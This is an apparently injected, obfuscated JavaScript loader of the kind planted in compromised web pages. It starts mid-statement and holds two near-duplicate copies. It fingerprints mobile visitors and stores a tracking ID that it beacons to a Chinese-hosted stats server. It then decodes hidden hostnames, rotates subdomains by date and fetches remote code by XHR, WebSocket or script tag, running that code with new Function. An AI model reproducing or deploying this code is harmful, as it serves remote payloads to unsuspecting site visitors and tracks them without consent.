s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};